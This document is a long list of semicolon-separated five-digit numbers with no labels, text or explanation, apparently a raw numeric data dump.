56468;52043;29544;38366;33354;44449;21991;16529;30341;65897;17254;44951;15035;55747;24502;61207;41907;21982;25525;11120;22875;23362;12324;45870;39845;62442;50736;61551;21414;55463;21546;56041;60498;43318;37051;60909;25814;33303;59450;51345;61726;32242;43488;11796;36502;47547;49271;58666;43467;46651;15759;66962;11165;17829;12653;14818;55708;31154;50104;25144;25490;34119;60676;25044;59961;60422;60480;49432;39922;55116;30413;15108;12516;58227;30046;47497;32800;25941;66215;17410;51940;19303;38221;44669;47619;26528;66210;39923;23535;24281;38015;42986;55604;41422;23684;20810;42189;16680;62129;19930;51928;66514;32638;33159;27226;48917;50349;43648;50445;59768;66967;49870;29386;25174;33777;22971;65986;16904;37380;32524;21968;50008;25950;65449;43854;39396;23907;58836;60990;64910;56280;27580;31510;24729;63589;26598;51290;59397;49360;20926;26625;41660;59538;62522;36203;64572;26696;12361;13539;28858;45698;62979;58754;18867;35248;57239;63181;25849;51166;61247;27830;17371;33701;31377;44559;12650;49633;16127;28938;50100;26167;58134;57376;41762;34447;52211;48454;22457;33466;15686;19645;45476;37414;43128;11722;59783;36227;54346;37201;60683;26596;52437;58612;24926;50219;10705;38441;21326;64404;25304;30625;28942;24180;44930;40660;19010;61694;66711;57159;47720;42595;29777;13921;50583;26462;64312;59542;27208;53754;46973;63592;27821;46021;32790;38410;22104;21432;26891;40365;46984;39094;10198;19907;60661;42879;50302;11928;30596;49474;26495;45422;29664;27238;26048;58372;44800;19162;46478;58113;19138;62155;29657;12672;32324;52654;23998;49913;48363;25163;51238;38181;57295;28283;11207;46115;57636;50670;32919;33472;50209;64105;58847;44881;33370;22841;41535;29161;32234;36661;44266;37310;25740;13219;41247;13496;41597;41035;25519;43559;14912;14469;39365;60007;26712;52000;19183;14709;39558;64868;12845;36836;66142;31410;14664;25711;51995;22787;46286;52950;44931;59352;11867;21975;39501;39418;55687;48298;56830;11203;13564;30028;66390;64839;44694;44200;65678;34100;30347;31532;54887;42256;33365;51017;26441;55718;36611;24064;28114;43430;56230;47410;20524;56540;35627;16788;62210;37117;32062;27486;57857;41327;39272;59659;34790;36156;26493;55766;13576;61428;52963;49556;55443;22090;59310;57056;61036;28010;39323;38031;60591;22524;45050;47827;21635;25404;26803;66467;20826;50698;61222;52334;42223;13349;59431;51276;63625;40334;35194;52465;31579;66723;36756;50249;35146;63603;16005;22416;61859;34801;25546;43876;37911;28209;34926;10484;55937;15106;33573;57354;52102;36210;41875;51418;16489;46252;47778;46383;16198;26467;44088;45054;22904;35298;36546;53957;46552;24364;29362;22016;29624;38036;30110;59064;61952;53033;36462;48848;14157;44333;46553;40281;40690;34366;48662;34910;54075;45016;27535;25386;54644;14756;32434;29339;54652;27116;13772;62757;27936;59522;60360;24072;35809;61736;35172;35032;53496;18669;66034;37917;37693;46692;55247;40319;59818;32380;22351;36795;44025;53466;55472;33177;15342;62513;42178;28665;57369;10245;21977;49576;41775;62144;42853;22632;21249;20363;23441;51185;16031;18003;33358;31077;63454;56407;41492;48603;54020;11627;12401;28051;50000;30296;53023;44276;11386;41427;35634;33942;44753;66755;26901;35814;27328;41142;11791;29916;13034;51881;50846;65641;13878;54054;11809;17049;23427;40112;37995;25189;61486;65950;37321;51970;28780;34853;13800;43103;50331;12699;25676;42829;33957;33263;28409;56016;23106;29419;65932;25058;59270;65640;50841;41320;29875;46456;15881;49303;64116;64819;13402;54255;15484;21588;51577;25149;51489;44746;36435;16882;21380;13867;58986;62467;55567;52179;40389;28443;11385;18762;65360;54425;37681;13499;10579;18749;61937;57470;27926;52523;41523;53709;26431;46599;66088;49988;18753;41776;40089;63418;26543;48559;54658;50900;33050;20583;43376;62880;51619;20779;14971;55289;30838;13220;64695;26179;41058;44498;26580;18414;32070;28560;28144;41375;19715;34680;36940;50213;48295;11513;31491;18311;33035;28407;19307;61779;63357;38691;13104;26897;14434;34811;43352;13437;61070;26294;47415;11394;59540;27512;66003;15480;64218;17414;52085;31293;19759;55947;39541;57835;35704;39107;26645;14016;51429;47766;18341;61600;56758;10456;27414;22372;39350;47512;66102;20555;41066;18446;39966;21697;64734;39316;60278;44983;50306;29478;25487;32699;30688;64725;37615;60093;50700;46511;58076;50024;51859;47016;21403;19633;36325;62545;21498;28679;61091;24795;23265;60265;51600;22811;35759;34795;15740;33175;51740;53871;14079;43896;57967;62287;49568;19652;15618;46827;60954;43294;50581;61500;58908;14882;66572;51683;64788;46319;49663;37586;32064;19100;45573;12364;65252;61182;38692;31719;31389;34202;34611;49379;63857;43892;52822;33889;31710;12534;31144;55234;50828;41222;32954;18528;31413;57607;19605;54286;60310;42397;42235;61595;13956;25775;45121;64176;55358;39402;41901;64525;33653;34296;36005;59791;45753;43869;64825;33529;50441;27635;14512;46036;28219;29998;66966;34114;29948;33410;55805;53764;50393;58530;41318;49874;13678;47816;39953;37981;43811;12723;30024;45398;65716;48373;34349;55787;21088;58358;39184;16467;58651;40633;58350;16558;11136;57779;10902;35127;22957;60113;56153;53537;19709;36266;55029;34941;33760;12031;60989;60757;24546;32314;20073;22960;64258;45183;10516;66553;40729;21475;29548;33989;10433;10293;20671;48359;25453;18903;42740;64119;58182;18159;34004;15628;42605;57259;52839;18945;52486;39209;54585;24918;40494;22504;12045;10766;45045;64033;31205;57201;64352;25581;28192;57751;40312;43023;58838;52278;59564;63907;14883;25698;62766;35824;35082;14843;41014;18302;23955;33567;39169;40177;26624;33225;21440;53215;34373;49198;19980;22162;27904;21231;26037;55173;61802;49107;18565;65076;48281;45632;10583;45332;20516;45816;43541;46307;49561;63003;31258;59113;20639;56170;43110;20231;12230;44832;38910;63694;22733;27576;62571;50652;22010;24752;48203;26034;35567;32086;38201;56769;31294;34604;49909;18622;51467;51232;29176;41164;44245;25215;63027;61210;46094;58683;35813;48805;52793;21396;65207;51481;43771;14319;43044;19902;54239;38581;57900;27237;30808;13463;47335;20700;50449;16580;42107;44727;33200;11919;40770;23067;10172;48169;40404;58528;18924;38577;54160;40120;45896;55434;14798;54306;14299;23241;53584;54223;63145;53363;31647;19998;41343;61366;65802;58294;45319;55896;32462;21950;64039;27286;38497;63997;36187;46537;26193;28695;24179;43451;56018;53307;19984;47724;49457;35501;29399;66709;18721;28708;62022;42684;28184;24193;65145;16632;19934;47223;34913;62034;53362;13746;18816;44090;20800;42844;57317;15528;63099;15404;35231;51341;48705;44836;42440;24690;33551;23698;25013;63620;32037;58713;43295;66955;46859;55596;54079;21524;57971;25688;32522;32538;22777;54833;40800;58154;38989;43355;38301;18921;46111;19573;29584;17175;39622;43298;24351;49264;31842;28832;28835;58092;23455;35863;13481;31650;50723;42890;42145;34848;13846;57033;59154;35743;15244;24403;42428;49613;20301;63383;27410;54876;23945;18767;41237;63549;16254;58583;62196;40627;27523;43934;52067;24821;63510;40382;63755;19089;57345;21369;33812;33417;21457;41055;17680;64225;49272;54227;24819;44353;18026;13563;62877;65191;44062;21422;31521;30402;32670;14997;27922;35335;56215;26187;63700;14372;25510;29850;27289;34959;62202;15458;58343;41280;61717;53777;60193;57325;62841;43068;29032;27218;60937;57168;54344;22881;36927;57437;61560;36184;44837;21237;65787;63309;17656;32030;30466;34830;48529;17814;50750;40621;18763;49254;50827;21792;40555;42847;20545;18832;22268;10052;35803;44818;19431;62270;52540;65803;43622;64357;14833;35470;51497;21568;26291;33209;65829;12659;62608;52786;14343;41381;14420;34837;11462;12297;41325;20087;66184;40011;47071;52125;52017;51435;66237;66418;50384;37949;21530;11329;37536;14395;52111;62381;62044;52674;16718;46729;11300;43422;26095;52153;62185;58070;57664;18746;20679;20519;33976;15750;56451;39959;12392;65305;28058;32078;19107;33449;31520;44650;66690;37605;55564;29923;37024;31612;25905;33848;33750;10982;41098;27540;44001;15139;46753;36884;39639;23736;61579;21766;39917;60973;52606;15180;40093;53756;44639;36859;47513;33143;23377;34610;43061;63966;42127;30298;18064;57716;38641;40202;42063;27491;45024;10690;11187;63785;22112;23128;41084;22477;20095;46240;18297;37279;44947;33420;44608;15031;45302;35369;29857;13850;34360;49417;54717;21715;61960;10983;42176;10405;54347;32115;16829;41081;63802;54126;51926;40034;37334;11601;17806;11045;59239;64833;22382;51960;46999;31662;43757;25321;42554;40918;56815;49861;24605;63009;47849;64958;36068;10321;44058;58507;14618;39623;32149;13605;27841;13611;13964;35188;60373;51430;25777;63529;62847;26925;36632;64040;10944;48786;49968;53935;46075;46167;63074;14623;38378;31631;25780;51718;66740;49686;28914;14858;24235;66037;13886;20324;34798;43156;38929;43303;50443;18995;46433;25646;38986;64810;25148;56073;38261;15961;41889;48306;57714;47701;22763;28756;34937;24897;24578;48680;26807;33677;53373;42671;10057;19779;40355;57696;20386;11592;63207;11444;54060;28947;18854;26562;23994;50130;57161;12754;47830;65650;34597;31191;30634;34328;40550;61948;20340;26727;52741;36935;16557;14611;39293;64917;48804;42148;15004;20610;17260;60643;13229;46370;56469;14565;63077;64391;29493;32905;21193;60493;65084;18540;38866;56536;36953;65399;23958;23862;55952;29576;40134;20866;39585;46084;14893;26557;30458;33021;16402;30431;66203;46351;63736;42805;10534;14265;38117;22058;51217;44761;66527;61019;51328;17555;36942;63224;21761;22345;35489;44541;45273;13412;36512;25584;56465;19352;24045;23742;16728;16064;47384;53035;57421;66248;62549;55852;66893;24626;45108;44133;28923;18381;51395;12604;56058;19008;11185;17296;16117;29983;53107;64930;58744;60828;28730;18344;50719;56449;41475;58974;58954;54922;43434;38294;30012;34509;63727;21764;45498;54423;13260;35965;47426;44421;31122;22529;56650;35359;13701;13356;17569;32100;20264;49461;43905;39699;24083;20162;27682;36558;20044;45408;62422;64127;35042;54269;13120;11193;45980;66207;43036;62476;10071;12756;31385;38863;28319;43178;18224;22223;52112;33607;20278;10564;60017;66949;61584;43104;56428;60576;56441;38461;25778;30278;30001;63925;10949;12461;43473;63639;60900;51848;44556;62254;19691;42501;48160;54894;30857;56608;36823;60247;17406;16896;56064;38815;65220;65436;21445;32379;16496;51572;23608;37538;31149;39800;19802;40456;40944;41195;42295;34945;13635;65311;56093;41419;60158;50874;42623;66132;28533;56120;59567;65580;51775;25458;66651;14726;29943;25779;30597;38417;40896;54549;62623;63847;14267;23352;52504;17535;12325;16511;51216;24451;65788;22011;46912;25869;61333;40338;25051;32338;54964;57640;27848;49851;36407;34190;31063;13480;49296;36155;20182;58689;26443;37453;29645;66927;23730;36654;25488;65760;21679;28161;27749;47231;56760;34462;17678;53472;48969;15793;19465;54771;42377;62596;27300;24773;11330;38061;66031;64735;13707;55069;48613;16085;62859;61912;16333;35162;58054;37777;18409;41338;19470;32786;28507;32813;11798;13132;19849;30756;30521;55799;11719;36913;55482;24899;59451;24674;29200;64286;66172;34821;23924;25916;14095;44623;47477;19541;16011;44831;22911;31724;46454;49700;48904;65318;59514;51042;58084;22100;47401;33190;16416;56136;32108;24317;26707;14419;64608;58184;23673;28897;43239;42129;52299;40344;61254;17228;31498;25081;34598;56951;28352;50733;63534;29470;19697;53226;43309;63071;22788;37501;25285;11770;17404;58360;31049;19537;59213;25416;49323;12781;51214;49290;16848;42264;40170;18912;53842;42327;46714;28333;19788;58387;48428;31571;35312;47083;56241;54430;45012;40552;19641;40610;64998;65669;35472;43012;44451;30566;33635;22916;51079;15230;14180;42874;34670;35628;65478;27185;18277;12687;56420;35601;51720;25030;39215;52972;51743;36597;45284;27350;25239;44601;48499;42912;39290;25471;25705;30748;60735;37807;46769;60553;34924;15925;64815;43310;10014;56750;56240;16593;22425;45015;53044;15216;24828;40176;61338;48465;40553;53288;14223;43441;12441;44915;55100;49889;13828;32622;22318;45627;54608;52311;45452;27676;50540;28894;11065;66839;63648;24273;15671;49680;40750;38621;36175;40544;58165;49169;23512;15293;55199;28515;54119;29697;32113;60421;65136;23481;30263;32170;11019;47417;45205;15201;42592;30019;37061;20650;58116;21865;28135;41831;28311;24533;23721;13769;40025;43553;43654;35401;64464;34601;12930;32027;11895;52781;32453;43415;66179;53114;53437;65846;30536;32021;11832;46458;36285;28811;58503;30428;63023;10126;56897;56300;58599;48574;13204;35395;36320;18139;61999;38225;65329;35799;22906;13502;21714;46096;20748;37853;56103;59336;11140;37690;33042;22521;58556;32523;38119;14676;22707;50474;32667;22052;33511;53956;12872;52585;40215;60225;48588;60058;19087;27466;65654;16470;48644;16890;48369;43560;36372;60793;66266;65294;63636;53476;42050;40205;27462;66706;26665;30887;12493;43862;57027;35496;47875;29061;57526;26861;39854;59287;51314;53577;13320;13051;16322;59179;66177;52223;14401;45647;15863;60258;45370;19677;14359;37263;41763;38429;23175;47811;24363;20079;31765;54882;10143;34783;16143;30290;56174;61475;18423;25053;46953;24668;28247;16122;12971;20035;53392;52725;35709;56569;31927;60272;54976;64345;22233;29932;24592;65374;49903;62198;31626;48181;19208;35636;66262;29640;35481;58319;48719;22050;35164;10562;45872;43088;60773;49622;54175;50429;50699;50925;57485;37858;48217;25879;57122;20677;23575;53829;23012;21017;22353;16454;64457;15379;11871;51963;55518;63098;42968;43282;34869;40724;32119;35385;29355;41579;22171;17377;20738;65042;55060;35802;51777;28035;52033;60008;51424;60840;36088;41713;57170;56472;38584;42778;15815;37463;14865;63942;34325;44654;61934;34098;16244;64026;43825;22373;17102;17457;13884;57416;34779;14200;62546;10196;63586;33692;26102;55907;42730;22281;52264;37685;29730;40885;63219;15036;47635;60914;28324;39363;18855;22277;65502;51463;55492;24270;26526;62204;30013;33111;20600;57089;48269;55160;62937;47418;20128;25689;45737;21750;53179;65239;64681;62259;59329;18147;26670;19967;45000;37018;32810;21702;45778;43901;27210;46545;45072;11086;54754;19787;47141;43786;17434;41469;41751;37434;30204;25939;63486;11694;26353;36459;32060;27804;56339;26211;46792;63546;41706;27091;20004;35081;42167;24720;61164;25835;25554;35521;40376;43259;34587;11064;14096;60753;54728;27819;14163;21739;32301;12256;20589;51980;57741;37719;19218;15280;15850;11542;13558;33166;65700;35202;48349;58021;65334;25611;25592;42884;37046;31636;26141;48442;18744;38881;60289;60746;23431;18148;49141;16430;30339;23667;61484;50955;50948;38176;48438;29543;23675;36970;20887;15402;25991;57154;13297;10176;37423;59996;23010;28421;44712;31775;40688;44583;60658;14464;49778;56289;20651;52241;54528;65845;44810;11500;55405;36231;62858;43226;41051;47435;29333;50671;57728;54538;37555;12738;33776;14784;26695;27993;38709;14706;54721;61825;40906;28970;13092;58470;66222;58680;12655;24261;31262;51700;24181;61002;55645;35165;23073;39867;38011;60235;23714;25207;55756;51579;42972;60489;20103;28364;48645;22850;30437;41989;47482;60134;18240;38247;26090;54258;42332;47172;62021;57469;48825;66532;61852;53270;49786;24911;53262;20620;12759;18653;50310;24620;11587;33780;65514;23396;16462;18353;12514;26032;57651;15680;17822;34787;23505;57980;52738;16173;62648;43217;36398;39237;23208;16669;49498;52645;38059;14283;64933;22064;18194;53130;32764;16975;45806;58365;43029;45779;17424;63063;59989;30284;29027;30875;16562;46236;44744;57611;23888;43149;22500;64476;38635;16813;56252;44822;16883;19109;61157;25225;47377;29138;50614;18553;30159;66061;15819;39138;47112;20461;51762;49113;12496;43715;31286;16465;57300;33441;14122;39573;17799;12744;51990;15731;50660;58603;60139;39446;43571;31234;30005;52225;55544;15967;59665;10722;36541;17754;26177;29219;45139;21804;44240;37230;21372;60503;57218;20229;18268;32208;31629;19704;12508;63171;58590;41351;65384;25103;23055;61716;21590;30070;42766;63849;30395;44673;18401;56408;34316;13675;64294;29967;34819;42298;26569;26635;26281;11199;11459;30209;46453;64688;26908;55582;53504;21325;26700;32089;11866;46431;39691;38489;30139;32409;10660;25859;47190;63705;13161;66607;18354;44515;58445;50129;10891;17024;60675;39196;55573;40778;26094;41374;61249;25438;57392;10743;51801;56494;39311;17295;27860;56316;32963;43996;28745;25538;18570;45486;58361;59618;57401;16471;12094;21895;18298;35957;40606;53527;30956;52027;14905;65632;54280;46709;39728;24331;66398;56877;41478;47515;49405;28264;37229;59177;52343;27203;62158;22300;13306;58761;37857;57880;16696;58567;56509;13256;27556;61593;35152;19464;39597;30235;63282;11175;17189;25954;51927;52316;28921;40145;24142;32365;36801;55090;33284;33041;23006;41366;42992;23260;19842;25481;29417;20618;57946;32026;14507;53069;12249;42199;29546;63820;55126;58859;19231;40745;44323;65340;48245;10827;22211;32499;36870;45649;39968;44887;58972;14526;15520;20167;62901;58201;44435;56065;31983;27951;12310;46485;61137;41700;57462;29172;36387;22354;50152;41539;11639;63939;21789;62312;40871;40127;40309;44693;14300;32323;28233;44561;15977;54114;53167;33527;16554;51446;63899;28124;23723;66754;48152;48311;33463;46352;45914;42185;21242;44167;58155;24208;10898;50207;35538;46949;17286;13503;16707;16845;20939;50229;18393;25972;34588;41257;23841;43509;58270;49741;35492;57737;31109;18473;17557;61433;25354;54093;50506;59082;53656;46274;58621;22744;21412;49312;14723;59580;19202;53950;15856;10693;56973;28388;23205;36765;39060;60684;59425;49685;38767;15096;39871;46670;10591;47803;21218;30745;22880;34711;30902;39106;24061;13101;37560;64136;14137;39136;39886;37633;54132;39014;47035;45719;61285;29180;10750;30099;23514;42015;44043;45674;23771;19446;57870;48425;14916;36176;44934;66199;28603;30027;30539;33423;49088;44488;47502;44574;43728;32424;18691;36109;20635;22747;55889;15974;11801;16203;20391;37364;64575;55406;34723;14921;13643;22901;49617;24928;48782;48824;59816;50668;20288;55379;27274;52074;41737;26758;35840;47331;59770;24471;64037;29895;43839;36544;49974;12434;53563;26133;14950;23874;60872;25612;30248;27789;66474;43494;43234;30830;12335;26965;29179;51287;15168;10996;57221;59420;44105;59704;64051;38865;40805;43410;51650;15518;39893;66495;46140;49831;49020;60095;62960;57713;31069;40230;12476;56100;59458;56413;16387;14210;40953;25095;30429;41118;37283;51093;13586;56544;54472;50571;54250;26788;66268;30173;25426;59992;48955;22161;51921;19966;43628;44224;63748;58928;37497;14710;22287;57312;27999;57294;61175;27624;46068;52410;57610;22592;30716;45675;33798;54405;11781;25152;46813;55522;46348;25975;45097;63326;46541;28883;32785;39828;65877;49737;31241;37278;63612;60530;33837;66220;27068;54547;52538;31923;62747;49881;47548;22655;56922;22055;58715;16263;52914;24096;58482;64229;50866;29955;41223;24534;50404;19612;25378;23661;19018;24428;34794;43775;55196;24161;39763;37235;23895;52569;56161;32558;54835;30472;26637;57145;57918;14918;32657;12539;51266;48327;31297;39698;64927;49398;10849;56040;32186;56123;56570;65317;52979;63571;22081;52684;33507;10973;46602;10166;42760;25902;46316;57074;22541;40545;34947;63500;49166;20125;47557;11707;31801;39417;61220;58203;65325;42337;49503;28177;49964;19479;54979;51876;57928;32495;53843;14624;61415;62255;66659;15382;55167;14717;27515;62197;58563;31357;52707;43865;30936;56482;58342;46210;27344;41071;63835;50595;45245;19985;28001;64130;37988;28836;46902;18335;41369;51137;35695;17358;24009;55324;28988;49308;58964;51092;40581;40335;19046;24418;60924;61031;60825;37926;17800;38329;21470;31143;16697;34351;21318;62784;31938;29331;30901;58591;57826;62069;40002;55676;12615;31375;60532;48381;53920;14312;52026;34962;30502;15852;28724;49311;66545;52801;52054;40284;18273;38331;47476;32180;19020;63332;53109;50338;30535;31609;33543;17298;40178;64521;24852;64246;28954;64990;31057;16380;27329;35598;29369;43610;38688;63234;55187;34138;60124;65156;18941;25219;60488;52029;60437;35619;63530;19924;40149;56491;42455;45594;59296;51887;23559;51168;65677;11786;22536;18462;44567;66515;25482;16222;13763;52461;28073;36360;13812;18025;66933;64118;14739;43271;52500;28726;46795;29123;53276;26164;32416;52757;32751;56892;29519;25042;39399;29449;23266;49668;53380;19447;13937;11130;17513;57775;54572;62389;65454;17563;64899;11410;24082;66834;25820;14462;30881;62151;15770;41311;32727;40488;55685;25628;25815;57862;39964;60151;28213;28792;48907;50745;55269;30641;24169;22172;57178;24034;30712;44634;19744;21850;45915;13096;65390;41554;52566;29901;13018;15883;13095;36403;45369;38915;38153;55911;10654;60719;51300;63804;62977;38155;58817;45667;15728;10907;28357;61331;61787;13813;60059;18251;19442;64687;57417;65908;42086;36865;61196;62621;44312;47461;49529;65626;20397;59436;10895;29992;33747;12933;19110;43758;63872;27766;23456;61206;46535;58889;26370;52921;39172;32820;24445;62240;37276;25818;36659;53176;18590;49165;28855;43891;10651;41471;64318;14123;11362;43100;18408;33726;33413;22864;28246;12610;15279;62296;54523;29476;37262;32817;19289;47301;30851;46790;27389;40753;25375;34115;35506;50774;37994;48702;11454;12652;49984;35797;54590;63093;15397;61882;38457;47526;54859;63602;24024;40448;37033;24174;15055;55101;10816;57858;15687;31544;32308;64510;63564;45380;46700;18304;43740;63060;49785;53945;39415;66018;36437;41479;13980;58730;40156;60244;29733;43211;63652;45909;52909;53295;38115;38980;32718;43994;58966;16277;21773;19613;54131;43114;40484;59344;40521;48830;66157;31055;23746;62769;46251;31306;31963;25677;41392;46489;56884;46628;31831;26777;21811;48784;44194;38245;50837;66174;42659;45673;52773;12737;46942;16012;12438;30552;63668;37825;59909;58898;45878;19751;56267;48291;16565;23158;28012;61456;38750;20354;66239;44309;26628;13513;37388;47090;30693;50738;45928;61563;54123;66564;45203;41221;22328;53705;13158;62625;52596;30651;59677;41486;18083;37121;46640;40035;62827;62941;27173;41279;34071;40658;52723;12241;12842;46309;26996;13022;13258;14203;24122;40540;32934;42878;13778;43069;33545;31432;17370;23880;64913;47704;20500;48197;66533;65036;27810;45506;27448;44715;22053;23493;42886;50965;63000;57731;39381;15331;21515;57018;35587;59465;37011;64611;51063;36489;47754;53007;17584;36653;39520;26276;66946;62363;11734;62774;39631;14705;66282;48507;30616;25340;48392;26194;44154;12011;59146;52546;36693;48803;40133;43600;48419;25169;12925;14152;43464;39668;20947;62602;50003;14258;38654;28157;60402;35059;65652;11174;53185;53701;57622;37998;15942;66384;10420;35446;45850;21898;38650;62339;30435;50022;52508;30076;12771;39555;52544;60889;21671;58196;28171;24688;22276;58942;43883;40813;15047;21716;10105;50325;37307;52381;34177;20835;12876;13475;18467;62629;27288;12309;27306;12124;24027;62172;33702;54170;32361;58260;13818;40656;34243;22083;36033;38931;50283;16908;10993;39283;64000;21169;35620;50436;65645;62731;49154;46728;37930;13045;51171;26652;62523;56332;55414;31824;17364;10762;66471;16897;65591;65881;32626;36260;57838;16053;26420;14269;52989;27341;33031;64371;65558;49030;44924;54009;65223;63799;17494;46752;40346;59631;27052;10250;37662;40114;53596;34580;27713;40757;29475;15733;46935;58299;56606;56530;24708;56803;63210;63321;63183;52845;27665;58533;60072;32400;53228;22273;17475;62362;38338;10754;42922;32203;17168;30865;42596;37045;38005;53809;11499;61513;39987;53310;56116;50128;42201;49036;43904;29256;13639;55260;44962;58593;66071;53148;25754;46062;66158;51688;19535;65615;23358;60711;47153;66753;11996;60911;38302;24202;60604;13630;56523;65114;21332;14845;29141;18564;25328;44545;31350;22227;53730;58466;58188;48161;27264;36604;48232;52053;43129;38400;37657;46402;20268;19422;45347;21632;62779;17164;54884;45986;63225;35079;62662;63844;42140;46242;65546;43686;37224;20891;52269;30825;20434;58529;54082;41466;56360;38165;14478;62978;60109;57921;28772;35583;50771;62276;54860;39554;47632;31588;43619;61947;25161;64048;60631;16450;58670;37268;27590;52609;43041;20649;39098;12583;49292;52129;42431;48748;16625;53570;51853;41746;35375;54487;26641;39166;12409;50079;44314;17297;30831;20156;41648;53658;40713;35028;37299;36639;17994;57352;40947;36304;59126;57402;57051;22040;37608;25722;43240;28393;50936;19585;24089;54853;56924;43990;38276;55681;61449;59151;43908;47452;62835;61713;27383;33801;51318;14314;35384;28830;52534;31206;49636;24155;58515;47680;13172;43777;53381;61335;26003;43952;56956;48234;43847;25073;50037;31899;33855;16619;25446;35136;23026;39043;48728;39053;12770;50215;46087;37789;50147;31668;15666;38272;23858;38797;35856;41711;15841;65039;20384;49919;61936;29522;17207;31857;22154;15988;61308;33004;66073;65556;26099;47486;32555;41391;25868;19038;40495;35585;32847;52705;26916;33669;33331;61046;29646;66284;49233;45700;56853;20171;26682;57271;62065;20716;64754;44187;44232;60540;52885;56845;40436;30117;10493;58640;59205;47562;42863;16323;63239;32313;30471;40527;42374;61867;14620;42502;47831;36638;48717;41079;15085;18426;23729;12899;13380;29173;14994;25102;57434;33171;53082;32861;42150;22332;23351;36663;25768;46762;45662;43486;63698;42485;57702;52789;53565;14640;22896;24941;20114;39075;65045;47677;66355;23494;48384;41974;34105;56979;24728;64433;45677;33062;15905;37805;20655;56515;61007;58882;64449;36984;37706;57399;47457;27463;65258;43111;21393;29136;59976;40511;44891;64383;22225;15429;34576;27818;26650;25425;10681;46490;66352;21827;32375;34330;25262;61177;50650;40651;28300;10049;35732;42633;53079;32600;48899;49100;59660;34564;56229;58606;33599;65043;51866;15178;30307;40764;37645;44419;49063;42700;21822;60533;52542;59608;37297;57189;15346;49126;31168;65157;40649;49578;29621;29707;46632;57427;31589;47667;43691;51365;22846;25607;20005;60490;47801;12366;42644;66889;40157;47727;25583;13550;15911;54506;47322;36229;11492;50532;53869;11687;64185;16572;43681;17492;60464;21222;62124;22142;31081;19685;43909;59187;26675;10252;39748;31916;49294;23637;44984;30893;66915;42892;21512;48336;55542;23909;55874;38327;14944;64959;37440;50387;43037;42695;53146;65916;50786;59741;19467;27351;42160;65498;13835;30814;15152;22808;20502;44737;37491;38177;16985;36346;47228;24661;41505;59762;24044;20888;46855;29271;43924;61748;18165;52080;59690;23695;34322;63661;11096;64377;45316;20106;42930;47276;46577;33163;65000;41556;17292;30692;15866;44793;13932;14165;39091;24949;65345;42234;27646;51307;52899;19637;56991;22234;54428;43946;55887;49917;43874;10097;41213;66408;20941;23062;23269;49702;27992;55079;57229;11117;22616;21173;64617;33560;12707;33419;19211;32438;54866;66051;32053;62406;18128;47146;34899;10443;29017;13118;40963;13013;37979;62611;11157;43535;49631;53034;18131;33231;60416;58909;36396;14560;26190;22243;13451;54817;13627;16081;12553;41952;20498;63206;19299;16711;38906;11460;33112;61908;14549;56887;55876;31051;48915;20100;63421;61364;12777;54504;53700;49825;25088;29294;59808;53417;37411;48260;40743;46004;43353;29112;40616;53244;14797;52412;44708;20961;31326;31254;44906;27685;17725;36253;53039;25802;15128;60399;59442;36012;15877;46295;28562;36371;58366;55008;58304;11746;59589;32482;63916;50993;34412;17386;28007;48895;20184;22367;49135;37167;53994;36103;49353;16675;56728;46373;31568;43653;22378;15086;42339;12805;53910;25929;21125;22403;31625;28500;25809;36419;24517;48273;57924;62393;56345;33406;28920;66741;29015;57196;38017;36321;18641;15156;64675;24881;20815;63885;64805;28956;22534;16634;66124;50801;12775;33224;21946;38945;21482;61061;63029;54971;52107;19678;27689;24824;15593;56635;33999;11030;33900;25278;61968;51674;31405;26298;21779;18125;12577;27150;25241;52951;29851;34600;40084;40091;20208;54089;38014;43249;39542;64214;37702;22520;49348;24539;42251;27643;66605;23340;33628;17121;58001;12972;32672;43261;16506;50390;38270;12331;52943;42991;36614;61654;50873;64204;32912;28301;30436;46797;41633;58039;33288;35406;52444;49313;51044;40703;37816;29863;59022;30220;15408;21188;42500;37545;32015;27452;61863;62641;25648;66783;23649;17782;49635;44460;31973;57361;52574;31856;20491;59794;57055;31273;25218;22989;19323;56432;36198;40567;15312;45565;34041;26178;29106;64504;41956;36294;59103;19180;25046;51164;32322;63443;58443;30703;38984;19817;55460;14081;58112;38388;65269;13775;14680;37727;26546;20877;51517;42383;50410;28829;60463;41349;57979;26926;41022;61097;17073;33253;55376;46555;32221;34966;65075;23126;25198;60901;66116;55317;61221;43941;65836;18163;34244;35054;49901;50264;11242;24392;44536;61696;65028;59312;15565;62897;53985;23087;22096;26238;11260;62674;10531;25955;55746;61033;56622;19414;36945;18733;11144;35355;25109;44507;55948;35154;39313;12743;47853;26805;59766;25316;10941;21598;64425;23013;10844;13961;53260;35210;64257;35906;57707;48182;33430;25098;49337;31552;36500;30357;41835;39971;31296;44684;62633;36610;25796;28353;28259;59907;27454;39152;52277;19726;15319;52249;21565;19261;33489;59292;62807;42957;20338;58416;19232;22179;25401;47893;33026;10616;40014;59209;16514;37872;32095;28229;20451;53097;51678;58917;23203;22716;55531;61681;59237;33202;17729;30765;58881;19090;41180;54305;64514;41024;51536;45923;60176;62973;56489;53360;46808;52658;47158;40039;18988;23401;19129;56364;22899;57407;22327;64066;43684;60499;60739;11914;16831;41635;41007;41788;23245;11345;23860;32283;45784;20136;16663;39302;12913;28789;22402;16458;66898;31129;28907;42144;54151;24192;17031;39231;36036;25786;22126;56823;50894;37549;10932;12608;10506;63791;18842;41316;33868;30507;10840;49494;17640;17840;34034;66681;39810;41682;65874;37919;58257;20057;65962;63909;59193;15805;54932;24162;42634;32264;12478;61938;40285;46263;58949;43233;60282;61277;26991;24454;60625;36906;26889;27017;56222;27276;27400;41497;50419;52426;26030;23885;53599;31393;12354;10648;51567;55775;39569;59282;15049;25771;49112;33633;23308;24288;43186;15611;26387;63821;32587;21336;19142;42103;51215;38891;26401;24077;51192;60824;34441;27189;38794;23390;43210;39707;29930;31452;37072;20601;29861;16250;50962;48700;55166;49489;66850;42403;18107;62789;38402;42198;22675;33215;41953;66118;35259;55845;48385;49122;48329;12468;43911;22969;18936;41017;29741;40942;50114;11624;41230;56272;39658;44902;37661;54198;21277;43747;60082;11906;60435;63304;57482;21244;36137;60054;29340;27038;20509;19914;30043;38496;21832;64329;35710;64242;24957;18515;61501;13908;42221;17080;62743;53320;40220;54395;40037;50055;11931;55202;46705;62909;60806;20637;56625;49061;33564;24612;46615;22124;61393;61237;17995;63320;38346;24336;23789;31817;46356;35836;17103;10578;16505;51089;35902;42795;42903;60836;29379;64044;28450;55581;53820;25470;36642;50455;55346;34132;43843;58552;49279;44003;56208;60460;51132;40886;58436;55423;45199;29838;19755;30754;23385;55997;20992;44892;52175;53151;19979;37744;26654;45523;62064;65273;36146;29945;45123;15321;24154;33971;46778;54925;61683;64756;30118;43969;54577;28224;31216;47537;31907;48426;13100;22213;29266;14145;32290;